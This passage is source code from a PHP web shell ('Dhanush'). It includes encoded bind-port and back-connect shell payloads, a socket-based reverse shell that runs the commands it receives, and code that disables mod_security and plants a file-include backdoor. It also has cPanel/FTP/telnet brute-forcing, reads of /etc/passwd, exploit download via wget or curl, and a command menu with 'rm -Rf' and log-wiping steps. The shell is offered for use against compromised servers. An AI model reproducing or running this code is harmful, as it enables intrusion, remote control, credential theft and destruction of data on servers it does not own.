5847 ajaxRequest.onreadystatechange = function()
5848 {
5849 if(ajaxRequest.readyState == 4)
5850 {
5851 document.getElementById("showexp").innerHTML=ajaxRequest.responseText;
5852 }
5853 }
5854
5855 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?uploadurl&wurl="+wurl+"&functiontype="+functiontype+"&path="+path, true);
5856 ajaxRequest.send(null);
5857}
5858function showMsg(msg)
5859{
5860 if(msg == 'smf')
5861 {
5862 document.getElementById('tableprefix').value="smf_";
5863 document.getElementById('fid').style.display='block';
5864 document.getElementById('wpress').style.display='none';
5865 document.getElementById('joomla').style.display='none';
5866 }
5867 if(msg == 'mybb')
5868 {
5869 document.getElementById('tableprefix').value="mybb_";
5870 document.getElementById('wpress').style.display='none';
5871 document.getElementById('joomla').style.display='none';
5872 document.getElementById('fid').style.display='block';
5873 }
5874 if(msg == 'ipb' || msg == 'vb')
5875 {
5876 document.getElementById('tableprefix').value="";
5877 document.getElementById('wpress').style.display='none';
5878 document.getElementById('joomla').style.display='none';
5879 document.getElementById('fid').style.display='block';
5880 }
5881 if(msg == 'wp')
5882 {
5883 document.getElementById('tableprefix').value="wp_";
5884 document.getElementById('wpress').style.display='block';
5885 document.getElementById('fid').style.display='none';
5886 document.getElementById('joomla').style.display='none';
5887 }
5888 if(msg == 'joomla')
5889 {
5890 document.getElementById('joomla').style.display='block';
5891 document.getElementById('tableprefix').value="jos_";
5892 document.getElementById('wpress').style.display='none';
5893 document.getElementById('fid').style.display='none';
5894 }
5895}
5896function checkforum(msg)
5897{
5898 if(msg == 'smf')
5899 {
5900 document.getElementById('tableprefix').value="smf_";
5901 document.getElementById('smfipb').style.display='block';
5902 document.getElementById('myjoomla').style.display='none';
5903
5904 }
5905 if(msg == 'phpbb')
5906 {
5907 document.getElementById('tableprefix').value="phpb_";
5908 document.getElementById('myjoomla').style.display='none';
5909 document.getElementById('smfipb').style.display='block';
5910
5911 }
5912 if(msg == 'mybb')
5913 {
5914 document.getElementById('tableprefix').value="mybb_";
5915 document.getElementById('myjoomla').style.display='none';
5916 document.getElementById('smfipb').style.display='none';
5917 }
5918 if(msg == 'vb')
5919 {
5920 document.getElementById('tableprefix').value="";
5921 document.getElementById('myjoomla').style.display='none';
5922 document.getElementById('smfipb').style.display='none';
5923 }
5924 if(msg == 'ipb')
5925 {
5926 document.getElementById('myjoomla').style.display='none';
5927 document.getElementById('smfipb').style.display='block';
5928 document.getElementById('tableprefix').value="";
5929 }
5930 if(msg == 'wp')
5931 {
5932 document.getElementById('tableprefix').value="wp_";
5933 document.getElementById('myjoomla').style.display='block';
5934 document.getElementById('smfipb').style.display='none';
5935 document.getElementById('siteurl').value="http://site/blog";
5936 }
5937 if(msg == 'joomla')
5938 {
5939 document.getElementById('myjoomla').style.display='block';
5940 document.getElementById('tableprefix').value="jos_";
5941 document.getElementById('smfipb').style.display='none';
5942 document.getElementById('siteurl').value="http://site/administrator/";
5943 }
5944}
5945</script>
5946<body>
5947<?php
5948 $back_connect_p = "eNqlU01PwzAMvVfqfwjlkkpd94HEAZTDGENCCJC2cRrT1DUZCWvjqk5A/fcs3Rgg1gk0XxLnPT/bsnN60rZYthdKt4vKSNC+53sqL6A0BCuMCEK6EiYi4O52UZSQCkTHkoCGMMeKk/Llbdqd+V4dx4jShu7ee7PQ0TdCMQrDxTKxmTEqF2ANPe/U+LtUmSDdC98ja0NYOe1tTH3Qrde/md8+DCfR1h0/Du7m48lo2L8Pd7FxClqL1FDqqoxcWeE3FIXmNGBH2LMOfum1mu1aJtqibCY4vcs/Cg6AC06uKtIvX63+j+CxHe+pkLFxhUbkSi+BsU3eDQsw5rboUcdermergYZR5xDYPQT2DoFnn8OQIsvc4uw2NU6TLKPTwOokF0EUtJJgFu5r4wlFSRT/2UOznuJfOo2k+l+hdGnVmv4Bmanx6Q==";
5949 $backconnect_perl = "eNqlUl9rwjAQfxf8Drcqa4UWt1dLZU7rJmN2tNWXTUps45qtJiVNGf32S9pOcSAI3kNI7vcnd9z1boZlwYdbQoc55llZYFh4o1HA4m8s7G6n2+kXVSHwHmQ4oNfMLSpSXYL9if80dR7kuZYvpW110LzmJMPPiCYZVplup6hRI/CmL25owts8WizVRSWiIPTdyasJn1jknAm2rSjaY0MXca4PBtI/ZpTi+ChXbihJeESooSpZv99vTCAUiwgJ9pe72wykuv6+EVpjVAq2k62mRg2wHFMjCGeLpQna+LZhaSeQtwrNM5Dr+/+hnBMqQHOuiA+q2Qcj63zMUkRlI+cJlxhNWYITeKxgwr9KeonRda01Vs1aGRqOUwaW5ThBnSB0xxzHsmwo1fzBQjYoin3grQrMjyyS2KfwjHC5JYxXDZ7/tAQ4fpTiLFMoqHm1dbRrrhat53rzX0SL2FA=";
5950 $bind_port_c = "bZJRT9swEIDfK/U/eEVa7WJK0mkPrMukaoCEpnUT8DKVKjK2Q05LbMt2KGzw3+ekKQ0Zfkn83efL3TkHoHhRCYk+Oy9AT/Mvw8FBh1lQdz1YKQhuDyrpxe1/p0UBWwjKo5KBwvULs3ecIp4ziyaTsLkn6O9wgMKqo45yCvPtvnHM6kO0bkEoqOLB0fw3E8KmoJBtQ4LJUisc04jsZJQ0pvR4cZ5eLM+u6dWPr9/Sq+vLs8X3vQcZfucIstJXVqGjuMV26kClGSuheAyZ2hSvgkZbH0K518ph5jXgup1VvCbklVfXOnXNo9ULfLFcnJ5epovlr517C0pgRxHudYkm5L2lKHqIX0ouwhVIVcsfd2iTQyFx/DLLZn4J41waH8Ro328zrcrMMH+TxW+wWZdtLHgZ4Ognc26jrfg0oiddwUomQtxQB3+kzrAh3WimLYYkmkP9exWhC0PmcHhI9kZ7KQibFaxRkqDxjRoT9PTUJTaQ3pl6bYUQj8adb0LWTJWXZntDszU1pM4T9VK4xzDYEo+Ow2UcuxwdwahbOy+0C63v0PNw8PwP";
5951 $bind_port_p = "bZFvS8NADMZft9DvkNUxW6hsw5f+wbJVHc5WelUQldK1mTucd6W94cTtu3tpN1DxXS753ZMnyUGnv6qr/oyLfonV0jK77DqYTs/sJlUv4IjbJ5bJ5+Bc+PHVA5zC0IUvwDVXztA9ga1lrmoEJvM3VJqsm8BhXu/uMp2EQeL1WDS6SVkSB/6t94qqrKSSs0+RvaNzqPLy0HVhs4GCI9ijTCjIK8wUQqv0LKh/jYqesiRlFk1T0tTaLErj4J4F/ngce9qOZWrbhWaIzoqiSrlwumT8afDiTULiUj98/NtSliiglNWu3ZLXCoWWOf7DtYUf5MeCL9GhlVimkeU5aoejKAw9RmYMPnc6TrfkxdlcVm9uixl7PSEVUN4G2m+nwDkXWADxzW+jscWS8ST07NMe6dq/8tF94tnn/xSCOP5dwDXm0N52P1FZcT0RIbvhiFnpxbdYO59h5Eup70vYTogrGFCoL7/9Bg==";
5952 echo $shellstyle;
5953?>
5954<table style="width:100%;">
5955<tr align="right">
5956<td><a href="<?php echo $self; ?>"><font size="6" style="text-decoration:none;" face="Times New Roman, Times, serif">Dhanush : By Arjun </font></a>
5957</td><td align="right">
5958<form method="get">
5959<select id="style" class="sbox" onChange="change_style(this.value)">
5960<option selected="selected">--Style--</option>
5961<option value="dhanush">Dhanush</option>
5962<option value="404">404</option>
5963<option value="phizo">Phizo</option>
5964<option value="orange">Orange</option>
5965</select>
5966</form></td>
5967</tr></table>
5968<hr color="#1B1B1B">
5969
5970<table cellpadding="0" style="width:100%;">
5971 <tr>
5972 <td colspan="2" style="width:75%;">System Info : <font class="txt"><?php systeminfo(); ?></font></td>
5973 <td style="width:10%;">Server Port : <font class="txt"><?php serverport(); ?></font></td>
5974 <td style="width:15%;"><a href=# onClick="maindata('com')"><font class="txt"><i>Software Info</i></font></a></td>
5975 </tr>
5976 <?php if ($os != 'Windows' || shell_exec("id") != null) { ?><tr>
5977 <td style="width:75%;" colspan="2">Uid : <font class="txt"><?php echo shell_exec("id"); ?></font></td>
5978 <?php $d0mains = @file("/etc/named.conf");
5979 $users = @file('/etc/passwd');
5980 if ($d0mains) {
5981 $count;
5982 foreach ($d0mains as $d0main) {
5983 if (@ereg("zone", $d0main)) {
5984 preg_match_all('#zone "(.*)"#', $d0main, $domains);
5985 flush();
5986 if (strlen(trim($domains[1][0])) > 2) {
5987 flush();
5988 $count++;
5989 }
5990 }
5991 }
5992?><td colspan=2 style="width:75%;">Websites : <font class="txt"><?php echo "$count Domains"; ?></font></td><?php
5993 } else if ($users) {
5994 $file = fopen("/etc/passwd", "r");
5995 while (!feof($file)) {
5996 $s = fgets($file);
5997 $matches = array();
5998 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
5999 $matches = str_replace("home/", "", $matches[1]);
6000 if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue;
6001 $count++;
6002 }
6003?><td colspan=2 style="width:75%;">Websites : <font class="txt"><?php echo "$count Domains"; ?></font></td><?php
6004 } ?>
6005 </tr><?php
6006 } ?>
6007 <tr>
6008 <td style="width:20%;">Disk Space : <font class="txt"><?php echo HumanReadableFilesize(diskSpace()); ?></font></td>
6009 <td style="width:20%;">Free Space : <font class="txt"><?php echo HumanReadableFilesize(freeSpace());
6010 $dksp = diskSpace();
6011 $frsp = freeSpace();
6012 echo " (" . (int)($frsp / $dksp * 100) . "%)"; ?></font></td>
6013
6014 <td style="width:20%;">Server IP : <font class="txt"><a href="http://whois.domaintools.com/<?php serverip(); ?>"><?php serverip(); ?></a></font></td>
6015 <td style="width:15%;">Your IP : <font class="txt"><a href="http://whois.domaintools.com/<?php yourip(); ?>"><?php yourip(); ?></a></font></td>
6016 </tr>
6017
6018 <tr>
6019 <?php if ($os == 'Windows') { ?><td style="width:15%;">View Directories : <font class="txt"><?php echo showDrives(); ?></font></td><?php
6020 } ?>
6021 <td style="width:30%;">Current Directory : <span id="crdir"><font color="#009900">
6022 <?php
6023 $d = str_replace("\",$directorysperator,$dir);
6024 if (substr($d,-1) != $directorysperator) {$d.= $directorysperator;
6025 }
6026 $d = str_replace("\","\",$d);
6027 $dispd = htmlspecialchars($d);
6028 $pd = $e = explode($directorysperator,substr($d,0,-1));
6029 $i = 0;
6030 foreach($pd as $b)
6031 {
6032 $t = '';
6033 $j = 0;
6034 foreach ($e as $r)
6035 {
6036 $t.= $r.$directorysperator;
6037 if ($j == $i) {break;}
6038 $j++;
6039 }
6040$href=addslashes($t);
6041
6042 echo " < ahref = javascript:
6043 void(0) onClick = \"changedir('dir','$href')\"><b><font class=\"txt\">" . htmlspecialchars($b) . $directorysperator . '</font></b></a>';
6044 $i++;
6045 }
6046?>
6047 </font></span> <a href=# onClick="gethome('home','<?php echo addslashes(getcwd()); ?>')">[Home]</a></td>
6048 <td style="width:20%;">Disable functions : <font class="txt"><?php echo getDisabledFunctions(); ?> </font></td>
6049 <td>Safe Mode : <font class=txt><?php echo safe(); ?></font></td>
6050 <?php if ($os == "Linux") { ?><td><a href="<?php echo $self . '?downloadit' ?>">Download It</a><?php
6051 } ?></td>
6052 </tr>
6053 </table>
6054
6055<?php $m1 = array('Symlink' => 'symlinkserver', 'Forum' => 'forum', 'Sec. Info' => 'secinfo', 'Code Inject' => 'injector', 'Bypassers' => 'bypass', 'Server Fuzzer' => 'fuzz', 'Zone-h' => 'zone', 'DoS' => 'dos', 'Mail' => 'mailbomb', 'Tools' => 'tools', 'PHP' => 'phpc', 'Exploit' => 'exploit', 'Connect' => 'connect');
6056 $m2 = array('SQL' => 'database', '404 Page' => '404', 'Malware Attack' => 'malattack', 'Cpanel Cracker' => 'cpanel', 'About' => 'about');
6057 echo "<table border=3 style=border-color:#333333; width=100%; cellpadding=2>
6058 <tr>";
6059 $menu = '';
6060 foreach ($m1 as $k => $v) $menu.= "<td style=\"border:none;\"><a href=# onClick=\"maindata('" . $v . "')\"><font class=\"mainmenu\">[" . $k . "]</font></a></td>";
6061 echo $menu;
6062 echo "</tr>
6063</table>
6064<div style=\"float:left;\">
6065 <a href=\"javascript:history.back(1)\"><font class=txt size=3> [Back] </font></a>
6066 <a href=\"javascript:history.go(1)\"><font class=txt size=3> [Forward] </font></a>
6067 <a href=\"\"><font class=txt size=3> [Refresh] </font></a></div>
6068<table style=\"margin-left:270px; border-color:#333333;\" border=2 width=60%; cellpadding=2>
6069 <tr align=center>";
6070 foreach ($m2 as $k => $v) $menu1.= "<td style=\"border:none;\"><a href=# onClick=\"maindata('" . $v . "','" . addslashes($_GET['dir']) . "')\"><font class=\"mainmenu\">[" . $k . "]</font></a></td>";
6071 echo $menu1;
6072 echo "<td style=\"border:none;\"><a href=javascript:void(0) onClick=\"if(confirm('Are You Sure You Want To Kill This Shell ?')){getmydata('selfkill');}else{return false;}\"><font class=mainmenu>[SelfKill]</font></a></td>
6073 <td style=\"border:none;\"><a href=\"$self?logout\"><font class=mainmenu>[LogOut]</font></a></td>
6074 </tr>
6075</table>"; ?>
6076
6077<div id="showmaindata"></div>
6078<?php
6079 if (isset($_GET["downloadit"])) {
6080 $FolderToCompress = getcwd();
6081 execmd("tar --create --recursion --file=backup.tar $FolderToCompress");
6082 $prd = explode("/", "backup.tar");
6083 for ($i = 0;$i < sizeof($prd);$i++) {
6084 $nfd = $prd[$i];
6085 }
6086 @ob_clean();
6087 header("Content-type: application/octet-stream");
6088 header("Content-length: " . filesize($nfd));
6089 header("Content-disposition: attachment; filename=\"" . $nfd . "\";");
6090 readfile($nfd);
6091 exit;
6092 }
6093 //Turn Safe Mode Off
6094 if (getDisabledFunctions() != "None" || safe() != "OFF") {
6095 $file_pointer = fopen(".htaccess", "w+");
6096 fwrite($file_pointer, "<IfModule mod_security.c>
6097 SecFilterEngine Off
6098 SecFilterScanPOST Off
6099 </IfModule>
6100
6101");
6102 $file_pointer = fopen("ini.php", "w+");
6103 fwrite($file_pointer, "<?
6104echo ini_get(\"safe_mode\");
6105echo ini_get(\"open_basedir\");
6106include(\$_GET[\"file\"]);
6107ini_restore(\"safe_mode\");
6108ini_restore(\"open_basedir\");
6109echo ini_get(\"safe_mode\");
6110echo ini_get(\"open_basedir\");
6111include(\$_GET[\"ss\"]);
6112?>");
6113 $file_pointer = fopen("php.ini", "w+");
6114 fwrite($file_pointer, "safe_mode = Off");
6115 fclose($file_pointer);
6116 } else if (isset($_POST['cpanelattack'])) {
6117 if (!empty($_POST['username']) && !empty($_POST['password'])) {
6118 $userlist = explode("
6119", $_POST['username']);
6120 $passlist = explode("
6121", $_POST['password']);
6122 if ($_POST['cracktype'] == "ftp") {
6123 foreach ($userlist as $user) {
6124 $pureuser = trim($user);
6125 foreach ($passlist as $password) {
6126 $purepass = trim($password);
6127 ftp_check($_POST['target'], $pureuser, $purepass, $connect_timeout);
6128 }
6129 }
6130 }
6131 if ($_POST['cracktype'] == "cpanel" || $_POST['cracktype'] == "telnet") {
6132 if ($cracktype == "telnet") $cpanel_port = "23";
6133 else $cpanel_port = "2082";
6134 foreach ($userlist as $user) {
6135 $pureuser = trim($user);
6136 echo "<b><font face=Tahoma style=\"font-size: 9pt\" color=#008000> [ - ] </font><font face=Tahoma style=\"font-size: 9pt\" color=#FF0800>
6137 Processing user $pureuser ...</font></b><br><br>";
6138 foreach ($passlist as $password) {
6139 $purepass = trim($password);
6140 cpanel_check($_POST['target'], $pureuser, $purepass, $connect_timeout);
6141 }
6142 }
6143 }
6144 } else $bdmessage = "<center>Enter Username & Password List<center>";
6145 } elseif (isset($_GET['style'])) {
6146 setcookie('style', $_GET['style']);
6147 header("location:$self");
6148 } else if (isset($_GET['info'])) {
6149 $bdmessage = "<br><div align=left><font class=txt>" . nl2br(shell_exec("whois " . $_GET['info'])) . "</font></div>";
6150 } else if (isset($_POST['u'])) {
6151 $path = $_REQUEST['path'];
6152 if (is_dir($path)) {
6153 $setuploadvalue = 0;
6154 $uploadedFilePath = $_FILES['uploadfile']['name'];
6155 $tempName = $_FILES['uploadfile']['tmp_name'];
6156 if ($os == "Windows") $uploadPath = $path . $directorysperator . $uploadedFilePath;
6157 else if ($os == "Linux") $uploadPath = $path . $directorysperator . $uploadedFilePath;
6158 if ($stat = move_uploaded_file($_FILES['uploadfile']['tmp_name'], $uploadPath)) $bdmessage = "<font class=txt size=3><blink>File uploaded to $uploadPath</blink></font>";
6159 else $bdmessage = "<font size=3><blink>Failed to upload file to $uploadPath</blink></font>";
6160 }
6161?><script type="text/javascript">changedir('dir','<?php echo addslashes($path); ?>'); </script><?php
6162 } else if (isset($_POST['backdoor'])) {
6163 if (isset($_POST['passwd']) && isset($_POST['port']) && isset($_POST['lang'])) { ?><script type="text/javascript">gethome('connect');</script><?php
6164 $passwd = $_POST['passwd'];
6165 if ($_POST['lang'] == 'c') {
6166 if (is_writable(".")) {
6167 @$fh = fopen(getcwd() . "/backp.c", 'w');
6168 @fwrite($fh, gzinflate(base64_decode($bind_port_c)));
6169 @fclose($fh);
6170 execmd("chmod 0755 " . getcwd() . "/backp.c");
6171 execmd("gcc -o " . getcwd() . "/backp " . getcwd() . "/backp.c");
6172 execmd("chmod 0755 " . getcwd() . "/backp");
6173 execmd(getcwd() . "/backp" . " " . $_POST['port'] . " " . $passwd . " &");
6174 $scan = exec_all("ps aux | grep backp" . $_POST['port']);
6175 if (eregi("backp" . $_POST['port'], $scan)) $bdmessage = "Process found running, backdoor setup successfully.";
6176 else $bdmessage = "Process not found running, backdoor not setup successfully.";
6177 } else {
6178 @$fh = fopen("/tmp/backp.c", "w");
6179 @fwrite($fh, gzinflate(base64_decode($bind_port_c)));
6180 @fclose($fh);
6181 execmd("chmod 0755 /tmp/backp.c");
6182 execmd("gcc -o /tmp/backp /tmp/backp.c");
6183 $out = execmd("/tmp/backp" . " " . $_POST['port'] . " " . $passwd . " &");
6184 $scan = exec_all("ps aux | grep backp" . $_POST['port']);
6185 if (eregi("backp" . $_POST['port'], $scan)) $bdmessage = "Process found running, backdoor setup successfully.";
6186 else $bdmessage = "Process not found running, backdoor not setup successfully.";
6187 }
6188 }
6189 if ($_POST['lang'] == 'perl') {
6190 if (is_writable(".")) {
6191 @$fh = fopen(getcwd() . "/bp.pl", 'w');
6192 @fwrite($fh, gzinflate(base64_decode($bind_port_p)));
6193 @fclose($fh);
6194 execmd("chmod 0755 " . getcwd() . "/bp.pl");
6195 execmd("perl " . getcwd() . "/bp.pl " . $_POST['port'] . " " . $passwd . " &");
6196 $bdmessage = "<pre>$out
6197" . execmd("ps aux | grep bp.pl") . "</pre>";
6198 } else {
6199 @$fh = fopen("/tmp/bp.pl", "w");
6200 @fwrite($fh, gzinflate(base64_decode($bind_port_p)));
6201 @fclose($fh);
6202 execmd("chmod 0755 " . getcwd() . "/bp.pl");
6203 execmd("perl " . getcwd() . "/bp.pl " . $_POST['port'] . " " . $passwd . " &");
6204 $bdmessage = "<pre>$out
6205" . execmd("ps aux | grep bp.pl") . "</pre>";
6206 }
6207 }
6208 }
6209 } else if (isset($_POST['backconnect'])) {
6210 if ($_POST['ip'] != "" && $_POST['port'] != "") { ?><script type="text/javascript">gethome('connect');</script><?php
6211 $host = $_POST['ip'];
6212 $port = $_POST['port'];
6213 if ($_POST["lang"] == "perl") {
6214 if (is_writable(".")) {
6215 @$fh = fopen(getcwd() . "/bc.pl", 'w');
6216 @fwrite($fh, gzuncompress(base64_decode($backconnect_perl)));
6217 @fclose($fh);
6218 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
6219 execmd("perl " . getcwd() . "/bc.pl $host $port &", $disable);
6220 if (!@unlink(getcwd() . "/bc.pl")) echo "<font color='#FFFFFF' size=3>Warning: Failed to delete reverse-connection program</font></br>";
6221 } else {
6222 @$fh = fopen("/tmp/bc.pl", "w");
6223 @fwrite($fh, gzuncompress(base64_decode($backconnect_perl)));
6224 @fclose($fh);
6225 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
6226 execmd("perl /tmp/bc.pl $host $port &", $disable);
6227 if (!@unlink("/tmp/bc.pl")) echo "<h2>Warning: Failed to delete reverse-connection program</h2></br>";
6228 }
6229 } else if ($_POST["lang"] == "python") {
6230 if (is_writable(".")) {
6231 $w_file = @fopen(getcwd() . "/bc.py", "w") or die(mysql_error());
6232 if ($w_file) {
6233 @fputs($w_file, gzuncompress(base64_decode($back_connect_p)));
6234 @fclose($w_file);
6235 chmod(getcwd() . '/bc.py', 0777);
6236 }
6237 execmd("python " . getcwd() . "/bc.py $host $port &", $disable);
6238 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
6239 if (!@unlink(getcwd() . "/bc.py")) echo "<h2>Warning: Failed to delete reverse-connection program</h2></br>";
6240 } else {
6241 $w_file = @fopen("/tmp/bc.py", "w");
6242 if ($w_file) {
6243 @fputs($w_file, gzuncompress(base64_decode($back_connect_p)));
6244 @fclose($w_file);
6245 chmod('/tmp/bc.py', 0777);
6246 }
6247 execmd("python /tmp/bc.py $host $port &", $disable);
6248 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
6249 if (!@unlink("/tmp/bc.py")) echo "<h2>Warning: Failed to delete reverse-connection program</h2><br>";
6250 }
6251 } else if ($_POST["lang"] == "php") {
6252 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
6253 $ip = $_POST['ip'];
6254 $port = $_POST['port'];
6255 $sockfd = fsockopen($ip, $port, $errno, $errstr);
6256 if ($errno != 0) {
6257 $bdmessage = "<b>$errno</b> : $errstr";
6258 } else if (!$sockfd) {
6259 $result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>";
6260 } else {
6261 fputs($sockfd, "
6262=================================================================
6263Coded By Arjun
6264=================================================================");
6265 $pwd = exec_all("pwd");
6266 $sysinfo = exec_all("uname -a");
6267 $id = exec_all("id");
6268 $len = 1337;
6269 fputs($sockfd, $sysinfo . "
6270");
6271 fputs($sockfd, $pwd . "
6272");
6273 fputs($sockfd, $id . "
6274
6275");
6276 fputs($sockfd, $dateAndTime . "
6277
6278");
6279 while (!feof($sockfd)) {
6280 $cmdPrompt = "(dhanush)[$]> ";
6281 fputs($sockfd, $cmdPrompt);
6282 $command = fgets($sockfd, $len);
6283 fputs($sockfd, "
6284" . exec_all($command) . "
6285
6286");
6287 }
6288 fclose($sockfd);
6289 }
6290 }
6291 }
6292 } else if (isset($_GET['val1'], $_GET['val2']) && is_numeric($_GET['val1']) && is_numeric($_GET['val2'])) {
6293 $temp = "";
6294 for (;$_GET['val1'] <= $_GET['val2'];$_GET['val1']++) {
6295 $uid = @posix_getpwuid($_GET['val1']);
6296 if ($uid) $temp.= join(':', $uid) . "
6297";
6298 }
6299 echo '<br/>';
6300 paramexe('Users', $temp);
6301 } else if (isset($_GET['download'])) {
6302 download();
6303 } else {
6304?><script type="text/javascript">gethome('home','<?php echo addslashes($dir); ?>');</script><?php
6305 }
6306 $is_writable = is_writable($dir) ? "<font class=txt>< writable ></font>" : "< not writable >";
6307?>
6308</p><center><div id="showdir"><?php echo $bdmessage; ?></div></center>
6309<table class="btmtbl" style="width:100%;" border="1">
6310<tr>
6311<td class="btmtbl" align="center">
6312<form method="post" enctype="multipart/form-data">
6313Upload file : <br><input type="file" name="uploadfile" class="box" size="50">
6314<input type="hidden" id=path name="path" value="<?php echo $dir; ?>" />
6315<input type=submit value="Upload" name="u" value="u" class="but" ></form>
6316<span name="wrtble"><?php
6317 echo $is_writable; ?></span>
6318 <br>
6319</td>
6320<td class="btmtbl" align="center" style="height:105px;">Create File :
6321<form onSubmit="createdir('Create',createfile.value);return false;">
6322<input type="text" class="box" value="<?php echo $dir . $directorysperator; ?>" name="createfile" id="createfile">
6323<input type="button" onClick="createdir('Create',createfile.value)" value="Create" class="but">
6324</form><span name="wrtble">
6325<?php echo $is_writable; ?></span>
6326</td>
6327</tr>
6328<tr>
6329<td class="btmtbl" align="center" style="height:105px;">Execute : <form onSubmit="executemyfile('execute','<?php echo addslashes($dir); ?>',execute.value);return false;">
6330<input type="text" class="box" name="execute">
6331<input type="hidden" id="exepath" name="exepath" value="<?php echo $dir; ?>">
6332 <input type="button" onClick="executemyfile('execute',exepath.value,execute.value)" value="Execute" class="but"></form></td>
6333
6334<td class="btmtbl" align="center">Create Directory : <form onSubmit="createdir('createfolder',createfolder.value);return false;">
6335<input type="text" value="<?php echo $dir . $directorysperator; ?>" class="box" name="createfolder" id="createfolder">
6336<input type="button" onClick="createdir('createfolder',createfolder.value)" value="Create" class="but">
6337</form><span name="wrtble"><?php
6338 echo $is_writable;
6339?></span></td></tr>
6340<tr><td class="btmtbl" style="height:105px;" align="center">Get Exploit <form onSubmit="getexploit(wurl.value,path.value,functiontype.value);return false;">
6341<input type="text" name="wurl" class="box" value="http://www.some-code/exploits.c">
6342<input type="button" onClick="getexploit(wurl.value,uppath.value,functiontype.value)" value=" G0 " class="but"><br><br>
6343<input type="hidden" id="uppath" name="uppath" value="<?php echo $dir . $directorysperator; ?>">
6344<select name="functiontype" class="sbox">
6345<option value="wwget">wget</option>
6346<option value="wlynx">lynx</option>
6347<option value="wfread">fread</option>
6348<option value="wfetch">fetch</option>
6349<option value="wlinks">links</option>
6350<option value="wget">GET</option>
6351<option value="wcurl">curl</option>
6352</select>
6353</form><div id="showexp"></div>
6354</td>
6355<td class="btmtbl" align="center">
6356<form>
6357Some Commands<br>
6358<?php if ($os != "Windows") { ?>
6359<SELECT NAME="mycmd" class="box">
6360 <OPTION VALUE="uname -a">Kernel version
6361 <OPTION VALUE="w">Logged in users
6362 <OPTION VALUE="lastlog">Last to connect
6363 <option value='cat /etc/hosts'>IP Addresses
6364 <option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP
6365 <OPTION VALUE="logeraser">Log Eraser
6366 <OPTION VALUE="find / -perm -2 -ls">Find all writable directories
6367 <OPTION VALUE="find . -perm -2 -ls">Find all writable directories in Current Folder
6368 <OPTION VALUE="find / -type f -name \"config*\"">find config* files
6369 <OPTION VALUE="find . -type f -name \"config*\"">find config* files in current dir
6370 <OPTION VALUE="find . -type f -perm -04000 -ls">find suid files in current dir
6371 <OPTION VALUE="find / -type f -perm -04000 -ls">find all suid files
6372 <OPTION VALUE="find / -user root -perm -022">find all sgid files
6373 <OPTION VALUE="find . -type f -perm -02000 -ls">find suid files in current dir
6374 <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins
6375 <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!
6376 <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?
6377 <?php if (is_dir('/etc/valiases')) { ?><option value="ls -l /etc/valiases">List of Cpanel`s domains(valiases)</option><?php
6378 } ?>
6379 <?php if (is_dir('/etc/vdomainaliases')) { ?><option value=\"ls -l /etc/vdomainaliases">List Cpanel`s domains(vdomainaliases)</option><?php
6380 } ?>
6381 <OPTION VALUE="which wget curl w3m lynx">Downloaders?
6382 <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
6383 <OPTION VALUE="ps aux">Show running proccess
6384 <OPTION VALUE="uptime">Uptime check
6385 <OPTION VALUE="cat /proc/meminfo">Memory check
6386 <OPTION VALUE="netstat -an | grep -i listen">Open ports
6387 <OPTION VALUE="rm -Rf">Format box (DANGEROUS)
6388 <OPTION VALUE="wget www.ussrback.com/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)
6389 <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
6390 <OPTION VALUE="./zap2">WIPELOGS PT3
6391 <OPTION VALUE="cat /var/cpanel/accounting.log">Get cpanel logs
6392 </SELECT>
6393 <?php
6394 } else { ?>
6395 <SELECT NAME="mycmd" class="box">
6396 <OPTION VALUE="dir /s /w /b *config*.php">Find *config*.php in current directory
6397 <OPTION VALUE="dir /s /w /b index.php">Find index.php in current dir
6398 <OPTION VALUE="systeminfo">System Informations
6399 <OPTION VALUE="net user">User accounts
6400 <OPTION VALUE="netstat -an">Open ports
6401 <OPTION VALUE="getmac">Get Mac Address
6402 <OPTION VALUE="net start">Show running services
6403 <OPTION VALUE="net view">Show computers
6404 <OPTION VALUE="arp -a">ARP Table
6405 <OPTION VALUE="tasklist">Show Process
6406 <OPTION VALUE="ipconfig/all">IP Configuration
6407
6408 </SELECT>
6409 <?php
6410 } ?>
6411 <input type="hidden" id="auexepath" name="auexepath" value="<?php echo $dir; ?>">
6412<input type="button" onClick="executemyfile('mycmd',auexepath.value,mycmd.value)" value="Execute" class="but">
6413</form>
6414</td>
6415</tr></table><br>
6416
6417</td>
6418</tr>
6419</table>
6420
6421<?php
6422 //logout
6423 if (isset($_GET['logout'])) {
6424 setcookie("hacked", time() - 60 * 60);
6425 header("Location:$self");
6426 ob_end_flush();
6427 }
6428?>
6429
6430
6431<hr color="#1B1B1B">
6432<div align="center">
6433<font size="6" face="Times New Roman, Times, serif">धनुष<br>
6434--==Coded By Arjun==--</font><br><a href="http://www.google.com/search?q=%E0%A4%9C%E0%A4%AF%20%E0%A4%B9%E0%A4%BF%E0%A4%A8%E0%A5%8D%E0%A4%A6" target="_blank"><font size="6">जय हिन्द</font></a></div>
6435<?php
6436}
6437}
6438if (isset($_POST['uname']) && isset($_POST['passwd'])) {
